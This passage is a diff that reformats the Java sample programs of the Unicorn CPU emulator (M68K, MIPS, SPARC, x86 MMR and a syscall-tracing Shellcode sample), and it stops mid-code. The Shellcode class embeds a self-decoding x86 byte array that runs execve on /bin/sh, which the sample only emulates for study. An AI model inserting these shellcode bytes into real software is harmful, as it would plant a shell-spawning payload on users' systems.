System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n", a6.intValue(), d6.intValue()));
|
||||
System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n", a7.intValue(), d7.intValue()));
|
||||
System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue()));
|
||||
System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_m68k();
|
||||
}
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
|
||||
size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_m68k() {
|
||||
Long d0 = 0x0000L; // d0 data register
|
||||
Long d1 = 0x0000L; // d1 data register
|
||||
Long d2 = 0x0000L; // d2 data register
|
||||
Long d3 = 0x0000L; // d3 data register
|
||||
Long d4 = 0x0000L; // d4 data register
|
||||
Long d5 = 0x0000L; // d5 data register
|
||||
Long d6 = 0x0000L; // d6 data register
|
||||
Long d7 = 0x0000L; // d7 data register
|
||||
|
||||
Long a0 = 0x0000L; // a0 address register
|
||||
Long a1 = 0x0000L; // a1 address register
|
||||
Long a2 = 0x0000L; // a2 address register
|
||||
Long a3 = 0x0000L; // a3 address register
|
||||
Long a4 = 0x0000L; // a4 address register
|
||||
Long a5 = 0x0000L; // a5 address register
|
||||
Long a6 = 0x0000L; // a6 address register
|
||||
Long a7 = 0x0000L; // a6 address register
|
||||
|
||||
Long pc = 0x0000L; // program counter
|
||||
Long sr = 0x0000L; // status register
|
||||
|
||||
System.out.print("Emulate M68K code\n");
|
||||
|
||||
// Initialize emulator in M68K mode
|
||||
Unicorn u =
|
||||
new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, M68K_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D0, d0);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D1, d1);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D2, d2);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D3, d3);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D4, d4);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D5, d5);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D6, d6);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_D7, d7);
|
||||
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A0, a0);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A1, a1);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A2, a2);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A3, a3);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A4, a4);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A5, a5);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A6, a6);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_A7, a7);
|
||||
|
||||
u.reg_write(Unicorn.UC_M68K_REG_PC, pc);
|
||||
u.reg_write(Unicorn.UC_M68K_REG_SR, sr);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing all instruction
|
||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + M68K_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
d0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D0);
|
||||
d1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D1);
|
||||
d2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D2);
|
||||
d3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D3);
|
||||
d4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D4);
|
||||
d5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D5);
|
||||
d6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D6);
|
||||
d7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_D7);
|
||||
|
||||
a0 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A0);
|
||||
a1 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A1);
|
||||
a2 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A2);
|
||||
a3 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A3);
|
||||
a4 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A4);
|
||||
a5 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A5);
|
||||
a6 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A6);
|
||||
a7 = (Long) u.reg_read(Unicorn.UC_M68K_REG_A7);
|
||||
|
||||
pc = (Long) u.reg_read(Unicorn.UC_M68K_REG_PC);
|
||||
sr = (Long) u.reg_read(Unicorn.UC_M68K_REG_SR);
|
||||
|
||||
System.out.print(String.format(">>> A0 = 0x%x\t\t>>> D0 = 0x%x\n",
|
||||
a0.intValue(), d0.intValue()));
|
||||
System.out.print(String.format(">>> A1 = 0x%x\t\t>>> D1 = 0x%x\n",
|
||||
a1.intValue(), d1.intValue()));
|
||||
System.out.print(String.format(">>> A2 = 0x%x\t\t>>> D2 = 0x%x\n",
|
||||
a2.intValue(), d2.intValue()));
|
||||
System.out.print(String.format(">>> A3 = 0x%x\t\t>>> D3 = 0x%x\n",
|
||||
a3.intValue(), d3.intValue()));
|
||||
System.out.print(String.format(">>> A4 = 0x%x\t\t>>> D4 = 0x%x\n",
|
||||
a4.intValue(), d4.intValue()));
|
||||
System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n",
|
||||
a5.intValue(), d5.intValue()));
|
||||
System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n",
|
||||
a6.intValue(), d6.intValue()));
|
||||
System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n",
|
||||
a7.intValue(), d7.intValue()));
|
||||
System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue()));
|
||||
System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_m68k();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,124 +28,127 @@ import unicorn.*;
|
||||
|
||||
public class Sample_mips {
|
||||
|
||||
// code to be emulated
|
||||
public static final byte[] MIPS_CODE_EB = {52,33,52,86};
|
||||
public static final byte[] MIPS_CODE_EL = {86,52,33,52};
|
||||
// code to be emulated
|
||||
public static final byte[] MIPS_CODE_EB = { 52, 33, 52, 86 };
|
||||
public static final byte[] MIPS_CODE_EL = { 86, 52, 33, 52 };
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_mips_eb()
|
||||
{
|
||||
|
||||
Long r1 = 0x6789L; // R1 register
|
||||
|
||||
System.out.print("Emulate MIPS code (big-endian)\n");
|
||||
|
||||
// Initialize emulator in MIPS mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, MIPS_CODE_EB);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1);
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
static void test_mips_el()
|
||||
{
|
||||
Long r1 = 0x6789L; // R1 register
|
||||
|
||||
System.out.print("===========================\n");
|
||||
System.out.print("Emulate MIPS code (little-endian)\n");
|
||||
|
||||
// Initialize emulator in MIPS mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, MIPS_CODE_EL);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1);
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_mips_eb();
|
||||
test_mips_el();
|
||||
}
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
|
||||
size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_mips_eb() {
|
||||
|
||||
Long r1 = 0x6789L; // R1 register
|
||||
|
||||
System.out.print("Emulate MIPS code (big-endian)\n");
|
||||
|
||||
// Initialize emulator in MIPS mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS,
|
||||
Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, MIPS_CODE_EB);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1);
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
static void test_mips_el() {
|
||||
Long r1 = 0x6789L; // R1 register
|
||||
|
||||
System.out.print("===========================\n");
|
||||
System.out.print("Emulate MIPS code (little-endian)\n");
|
||||
|
||||
// Initialize emulator in MIPS mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS,
|
||||
Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, MIPS_CODE_EL);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1);
|
||||
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_mips_eb();
|
||||
test_mips_el();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,88 +28,91 @@ import unicorn.*;
|
||||
|
||||
public class Sample_sparc {
|
||||
|
||||
// code to be emulated
|
||||
public static final byte[] SPARC_CODE = {-122,0,64,2};
|
||||
//public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// code to be emulated
|
||||
public static final byte[] SPARC_CODE = { -122, 0, 64, 2 };
|
||||
//public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x10000;
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_sparc()
|
||||
{
|
||||
Long g1 = 0x1230L; // G1 register
|
||||
Long g2 = 0x6789L; // G2 register
|
||||
Long g3 = 0x5555L; // G3 register
|
||||
|
||||
System.out.print("Emulate SPARC code\n");
|
||||
|
||||
// Initialize emulator in Sparc mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, SPARC_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G1, g1);
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G2, g2);
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G3, g3);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
g3 = (Long)u.reg_read(Unicorn.UC_SPARC_REG_G3);
|
||||
System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_sparc();
|
||||
}
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte) (val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// callback for tracing basic blocks
|
||||
private static class MyBlockHook implements BlockHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
|
||||
size));
|
||||
}
|
||||
}
|
||||
|
||||
// callback for tracing instruction
|
||||
private static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||
System.out.print(String.format(
|
||||
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
|
||||
address, size));
|
||||
}
|
||||
}
|
||||
|
||||
static void test_sparc() {
|
||||
Long g1 = 0x1230L; // G1 register
|
||||
Long g2 = 0x6789L; // G2 register
|
||||
Long g3 = 0x5555L; // G3 register
|
||||
|
||||
System.out.print("Emulate SPARC code\n");
|
||||
|
||||
// Initialize emulator in Sparc mode
|
||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC,
|
||||
Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
||||
|
||||
// map 2MB memory for this emulation
|
||||
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
|
||||
|
||||
// write machine code to be emulated to memory
|
||||
u.mem_write(ADDRESS, SPARC_CODE);
|
||||
|
||||
// initialize machine registers
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G1, g1);
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G2, g2);
|
||||
u.reg_write(Unicorn.UC_SPARC_REG_G3, g3);
|
||||
|
||||
// tracing all basic blocks with customized callback
|
||||
u.hook_add(new MyBlockHook(), 1, 0, null);
|
||||
|
||||
// tracing one instruction at ADDRESS with customized callback
|
||||
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
|
||||
|
||||
// emulate machine code in infinite time (last param = 0), or when
|
||||
// finishing all the code.
|
||||
u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0);
|
||||
|
||||
// now print out some registers
|
||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||
|
||||
g3 = (Long) u.reg_read(Unicorn.UC_SPARC_REG_G3);
|
||||
System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue()));
|
||||
|
||||
u.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_sparc();
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -25,53 +25,55 @@ import unicorn.*;
|
||||
|
||||
public class Sample_x86_mmr {
|
||||
|
||||
static void test_x86_mmr() {
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn uc;
|
||||
try {
|
||||
uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
} catch (UnicornException uex) {
|
||||
System.out.println("Failed on uc_open() with error returned: " + uex);
|
||||
return;
|
||||
}
|
||||
|
||||
// map 4k
|
||||
uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL);
|
||||
static void test_x86_mmr() {
|
||||
// Initialize emulator in X86-32bit mode
|
||||
Unicorn uc;
|
||||
try {
|
||||
uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||
} catch (UnicornException uex) {
|
||||
System.out
|
||||
.println("Failed on uc_open() with error returned: " + uex);
|
||||
return;
|
||||
}
|
||||
|
||||
X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, (short)0x5555);
|
||||
X86_MMR ldtr2;
|
||||
X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, (short)0xaaaa);
|
||||
X86_MMR gdtr2, gdtr3, gdtr4;
|
||||
// map 4k
|
||||
uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL);
|
||||
|
||||
int eax;
|
||||
|
||||
// initialize machine registers
|
||||
X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444,
|
||||
(short) 0x5555);
|
||||
X86_MMR ldtr2;
|
||||
X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999,
|
||||
(short) 0xaaaa);
|
||||
X86_MMR gdtr2, gdtr3, gdtr4;
|
||||
|
||||
uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1);
|
||||
uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1);
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL);
|
||||
|
||||
// read the registers back out
|
||||
eax = (int)((Long)uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue();
|
||||
ldtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_LDTR);
|
||||
gdtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_GDTR);
|
||||
int eax;
|
||||
|
||||
System.out.printf(">>> EAX = 0x%x\n", eax);
|
||||
// initialize machine registers
|
||||
|
||||
System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base);
|
||||
System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit);
|
||||
System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags);
|
||||
System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector);
|
||||
uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1);
|
||||
uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1);
|
||||
uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL);
|
||||
|
||||
System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base);
|
||||
System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit);
|
||||
|
||||
uc.close();
|
||||
}
|
||||
// read the registers back out
|
||||
eax = (int) ((Long) uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue();
|
||||
ldtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_LDTR);
|
||||
gdtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_GDTR);
|
||||
|
||||
public static void main(String args[])
|
||||
{
|
||||
test_x86_mmr();
|
||||
}
|
||||
System.out.printf(">>> EAX = 0x%x\n", eax);
|
||||
|
||||
System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base);
|
||||
System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit);
|
||||
System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags);
|
||||
System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector);
|
||||
|
||||
System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base);
|
||||
System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit);
|
||||
|
||||
uc.close();
|
||||
}
|
||||
|
||||
public static void main(String args[]) {
|
||||
test_x86_mmr();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -25,137 +25,149 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||
/* Sample code to trace code with Linux code with syscall */
|
||||
|
||||
import unicorn.*;
|
||||
import java.math.*;
|
||||
|
||||
public class Shellcode {
|
||||
|
||||
public static final byte[] X86_CODE32 = {-21,25,49,-64,49,-37,49,-46,49,-55,-80,4,-77,1,89,-78,5,-51,-128,49,-64,-80,1,49,-37,-51,-128,-24,-30,-1,-1,-1,104,101,108,108,111};
|
||||
public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65,65,65,65,65};
|
||||
|
||||
// memory address where emulation starts
|
||||
public static final int ADDRESS = 0x1000000;
|
||||
|
||||
public static final long toInt(byte val[]) {
|
||||
long res = 0;
|
||||
for (int i = 0; i < val.length; i++) {
|
||||
long v = val[i] & 0xff;
|
||||
res = res + (v << (i * 8));
|
||||
}
|
||||
return res;
|
||||
}
|
||||
public static final byte[] X86_CODE32 = { -21, 25, 49, -64, 49, -37, 49,
|
||||
-46, 49, -55, -80, 4, -77, 1, 89, -78, 5, -51, -128, 49, -64, -80, 1,
|
||||
49, -37, -51, -128, -24, -30, -1, -1, -1, 104, 101, 108, 108, 111 };
|
||||
public static final byte[] X86_CODE32_SELF = { -21, 28, 90, -119, -42, -117,
|
||||
2, 102, 61, -54, 125, 117, 6, 102, 5, 3, 3, -119, 2, -2, -62, 61, 65,
|
||||
65, 65, 65, 117, -23, -1, -26, -24, -33, -1, -1, -1, 49, -46, 106, 11,
|
||||
88, -103, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, -119, -29,
|
||||
82, 83, -119, -31, -54, 125, 65, 65, 65, 65, 65, 65, 65, 65 };
|
||||
|
||||
public static final byte[] toBytes(long val) {
|
||||
byte[] res = new byte[8];
|
||||
for (int i = 0; i < 8; i++) {
|
||||
res[i] = (byte)(val & 0xff);
|
||||
val >>>= 8;
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public static class MyCodeHook implements CodeHook {
|
||||
public void hook(Unicorn u, long address, int size, Object user) {
|
||||
|
||||
System.out.print(String.format("Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
||||
|
||||
Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP);
|
||||
